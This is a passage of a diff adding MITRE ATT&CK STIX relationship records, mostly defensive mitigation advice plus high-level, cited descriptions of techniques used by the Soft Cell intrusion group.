"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Set PowerShell execution policy to execute only signed scripts. ", + "type": "relationship", + "id": "relationship--79568b8a-09c2-40fa-acd9-c7d369059b6a", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T17:15:10.820Z", + "modified": "2019-07-18T17:15:10.820Z", + "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "When possible, store keys on separate cryptographic hardware instead of on the local system. ", + "type": "relationship", + "id": "relationship--8c10524a-c52a-4931-a246-959df48d4b63", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T17:21:52.952Z", + "modified": "2019-07-18T17:21:52.952Z", + "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some endpoint security solutions can be configured to block some types of process injection based on common sequences of behavior that occur during the injection process.", + "type": "relationship", + "id": "relationship--bcdd57cf-632f-4fc5-a8e8-d3137cb832e8", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T17:27:05.228Z", + "modified": "2019-07-18T17:27:05.228Z", + "source_ref": "course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "###Linux\n\nUtilize Yama to mitigate ptrace based process injection by restricting the use of ptrace to privileged users only. Other mitigation controls involve the deployment of security kernel modules that provide advanced access control and process restrictions such as SELinux, grsecurity, and AppAmour.", + "type": "relationship", + "id": "relationship--d3a267b8-2eba-4d97-8b10-0544e36e5fee", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T17:27:05.291Z", + "modified": "2019-07-18T17:27:05.291Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Limit privileges of user accounts so only authorized users can edit the rc.common file.", + "type": "relationship", + "id": "relationship--3cb6f102-ebd2-4cd0-8bb4-02c04288c493", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T17:28:22.928Z", + "modified": "2019-07-18T17:28:22.928Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Block execution of Regsvcs.exe and Regasm.exe if they are not required for a given system or network to prevent potential misuse by adversaries.", + "type": "relationship", + "id": "relationship--ede8d04b-ac86-4210-af8c-52bb75fef6f3", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T17:31:27.470Z", + "modified": "2019-07-18T17:31:27.470Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use application whitelisting to mitigate installation and use of unapproved software that can be used for remote access.", + "type": "relationship", + "id": "relationship--54306888-1f93-4461-bcac-a56ae7073b31", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T17:42:08.950Z", + "modified": "2019-07-18T17:42:08.950Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Properly configure firewalls, application firewalls, and proxies to limit outgoing traffic to sites and services used by remote access tools.", + "type": "relationship", + "id": "relationship--80a23356-20b7-49a3-a48e-e0c04e2bff86", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T17:42:08.974Z", + "modified": "2019-07-18T17:42:08.974Z", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use remote desktop gateways.", + "type": "relationship", + "id": "relationship--227f3705-ab28-4b5f-87d7-12bcf14c47f7", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T17:46:12.289Z", + "modified": "2019-07-18T17:46:12.289Z", + "source_ref": "course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Limit remote user permissions if remote access is necessary.", + "type": "relationship", + "id": "relationship--bea04550-f39b-4840-82f2-5da61457f696", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T17:46:12.319Z", + "modified": "2019-07-18T17:46:12.319Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Limit the accounts that may use remote services. Limit the permissions for accounts that are at higher risk of compromise; for example, configure SSH so users can only run specific programs.", + "type": "relationship", + "id": "relationship--795ca238-c8cf-4735-98cc-593f1cc59b16", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T17:50:43.801Z", + "modified": "2019-07-18T17:50:43.801Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Limit the use of USB devices and removable media within a network.", + "type": "relationship", + "id": "relationship--5c245d0b-61e7-4558-8b36-32c846266af0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T17:52:28.558Z", + "modified": "2019-07-18T17:52:28.558Z", + "source_ref": "course-of-action--2995bc22-2851-4345-ad19-4e7e295be264", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify critical business and system processes that may be targeted by adversaries and work to isolate and secure those systems against unauthorized access and tampering. ", + "type": "relationship", + "id": "relationship--44cc2a12-21bd-405d-b3d4-ebbf03e28722", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T17:56:46.196Z", + "modified": "2019-07-18T17:56:46.196Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--ca205a36-c1ad-488b-aa6c-ab34bdd3a36b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Appropriate permissions should be applied such that only specific users can edit the startup items so that they can be leveraged for privilege escalation.", + "type": "relationship", + "id": "relationship--47759329-dbca-4902-ba28-e905e8a76640", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T17:58:17.216Z", + "modified": "2019-07-18T17:58:17.216Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting tools, like AppLocker, or Software Restriction Policies where appropriate.", + "type": "relationship", + "created": "2019-07-18T18:21:44.870Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--91e941a6-64bd-42ab-94f9-aa0e90f132ff", + "external_references": [ + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T19:04:11.590Z", + "source_ref": "course-of-action--f2cb6ce2-188d-4162-8feb-594f949b13dd", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure least privilege principles are applied to important information resources to reduce exposure to data manipulation risk.", + "type": "relationship", + "id": "relationship--ae569020-4c3b-49b9-957d-2fcc32c627bb", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T18:26:38.307Z", + "modified": "2019-07-18T18:26:38.307Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--0bf78622-e8d2-41da-a857-731472d61a92" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The creation and modification of systemd service unit files is generally reserved for administrators such as the Linux root user and other users with superuser privileges. ", + "type": "relationship", + "id": "relationship--b0dafa5e-eb37-4af2-a7a4-8708416cceb1", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T18:46:58.831Z", + "modified": "2019-07-18T18:46:58.831Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--0fff2797-19cb-41ea-a5f1-8a9303b8158e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Limit user access to system utilities such as 'systemctl' to only users who have a legitimate need.", + "type": "relationship", + "id": "relationship--6acc95f3-596b-430d-9089-3485b27c8b8b", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T18:46:58.853Z", + "modified": "2019-07-18T18:46:58.853Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--0fff2797-19cb-41ea-a5f1-8a9303b8158e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network.", + "type": "relationship", + "created": "2019-07-18T19:06:27.491Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7a20546a-c6be-4c1b-8b41-23cfb551f933", + "modified": "2019-07-18T21:34:47.404Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Grant access to application deployment systems only to a limited number of authorized administrators.", + "type": "relationship", + "created": "2019-07-18T19:07:50.184Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--43eebb80-4b8a-4690-a7e3-5f6f8e08db9f", + "modified": "2019-07-18T21:34:47.462Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.", + "type": "relationship", + "id": "relationship--0c4d2678-b4e3-4f0a-b3a2-f0f6d218bfd4", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T19:12:52.384Z", + "modified": "2019-07-18T19:12:52.384Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations.", + "type": "relationship", + "id": "relationship--b5023b20-4243-4686-8b51-429ae7ac73cb", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T19:18:32.950Z", + "modified": "2019-07-18T19:18:32.950Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use and unauthenticated network share access.", + "type": "relationship", + "created": "2019-07-18T19:25:59.028Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7af04b3a-b7ca-4dc1-a085-6e09a0505adc", + "modified": "2019-07-18T19:27:00.969Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems.", + "type": "relationship", + "created": "2019-07-18T19:25:59.052Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3ab77e56-51b4-4e05-b16e-46befadbd69d", + "external_references": [ + { + "source_name": "acunetix Server Secuirty", + "description": "Acunetix. (n.d.). Web Server Security and Database Server Security. Retrieved July 26, 2018.", + "url": "https://www.acunetix.com/websitesecurity/webserver-security/" + }, + { + "source_name": "NIST Server Security July 2008", + "description": "Scarfone, K. et al.. (2008, July). NIST Special Publication 800-123 - Guide to General Server Security. Retrieved July 26, 2018.", + "url": "https://nvlpubs.nist.gov/nistpubs/legacy/sp/nistspecialpublication800-123.pdf" + } + ], + "modified": "2019-07-18T19:27:00.983Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Limit permissions for who can create symbolic links in Windows to appropriate groups such as Administrators and necessary groups for virtualization. This can be done through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links.", + "type": "relationship", + "id": "relationship--869f816b-a02b-453b-9b52-1620ac82412d", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T19:28:08.542Z", + "modified": "2019-07-18T19:28:08.542Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) exploited a publicly-facing server to gain access to the network.", + "type": "relationship", + "created": "2019-07-18T20:47:50.147Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ad60e0be-02a4-4f79-a81d-afdde78492be", + "external_references": [ + { + "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "modified": "2019-07-22T15:49:28.757Z", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "relationship_type": "uses", + "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure proper system and access isolation for critical network systems through use of multi-factor authentication.", + "type": "relationship", + "created": "2019-07-18T20:58:45.951Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c869db21-9c91-4449-b316-408bcab56e1b", + "modified": "2019-07-18T21:34:47.458Z", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used DLL side-loading to covertly load [PoisonIvy](https://attack.mitre.org/software/S0012) into memory on the victim machine.", + "type": "relationship", + "created": "2019-07-18T21:12:51.526Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3b523bd9-ffc2-4525-a08c-4500bfcb2fed", + "external_references": [ + { + "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "modified": "2019-07-22T15:49:28.779Z", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "relationship_type": "uses", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) leveraged valid accounts to maintain access to a victim network.", + "type": "relationship", + "created": "2019-07-18T21:12:51.535Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1a849525-ee44-4c28-86b2-fe883c45dc79", + "external_references": [ + { + "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "modified": "2019-07-22T15:49:28.781Z", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "relationship_type": "uses", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) created rogue, high-privileged domain user accounts to maintain access across waves of a compromise.", + "type": "relationship", + "created": "2019-07-18T21:12:51.544Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--433ccc4b-5a1f-49e2-9517-f8f899646cab", + "external_references": [ + { + "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "modified": "2019-07-22T15:49:28.822Z", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "relationship_type": "uses", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used Web shells to persist in victim environments and assist in execution and exfiltration.", + "type": "relationship", + "created": "2019-07-18T21:12:51.554Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--626697e3-0d05-4081-aa11-61280a502249", + "external_references": [ + { + "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "modified": "2019-07-22T15:49:28.841Z", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "relationship_type": "uses", + "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used PowerShell for execution to assist in lateral movement as well as for dumping credentials stored on compromised machines.", + "type": "relationship", + "created": "2019-07-18T21:12:51.556Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8698cc92-79ad-46c4-9cb8-30ef87a8d760", + "external_references": [ + { + "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "modified": "2019-07-22T15:49:28.861Z", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used WMI for execution to assist in lateral movement as well as for installing tools across multiple assets.", + "type": "relationship", + "created": "2019-07-18T21:12:51.570Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--402e9430-9d3a-4694-89ca-923dab3fba26", + "external_references": [ + { + "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "modified": "2019-07-22T15:49:28.864Z", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "relationship_type": "uses", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used the Windows command shell to execute commands.", + "type": "relationship", + "created": "2019-07-18T21:12:51.573Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--15a8c4ba-f86d-4b2f-a0c7-9390d22dbd4e", + "external_references": [ + { + "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "modified": "2019-07-22T15:49:28.865Z", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure proper system and access isolation for critical network systems through use of group policy.", + "type": "relationship", + "created": "2019-07-18T21:16:43.793Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--147b8bb5-ca4e-455e-a5b9-f0ab118c67eb", + "modified": "2019-07-18T21:34:47.460Z", + "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Filter network traffic to prevent use of protocols across the network boundary that are unnecessary.", + "type": "relationship", + "id": "relationship--9acd9add-9b08-45dd-8135-98e62eb708e2", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T21:18:02.951Z", + "modified": "2019-07-18T21:18:02.951Z", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Web proxies can be used to enforce external network communication policy that prevents use of unauthorized external services.", + "type": "relationship", + "id": "relationship--970635e8-9767-4654-b6ff-e1cd12bc206e", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T21:21:18.293Z", + "modified": "2019-07-18T21:21:18.293Z", + "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure that any accounts used by third-party providers to access these systems are traceable to the third-party and are not used throughout the network or used by other third-party providers in the same environment. Ensure there are regular reviews of accounts provisioned to these systems to verify continued business need, and ensure there is governance to trace de-provisioning of access that is no longer required. Ensure proper system and access isolation for critical network systems through use of account privilege separation.", + "type": "relationship", + "created": "2019-07-18T21:33:37.812Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0dfd9bcd-f9e2-44c1-9d87-07c626644561", + "modified": "2019-07-18T21:34:47.461Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414" + }, + { + 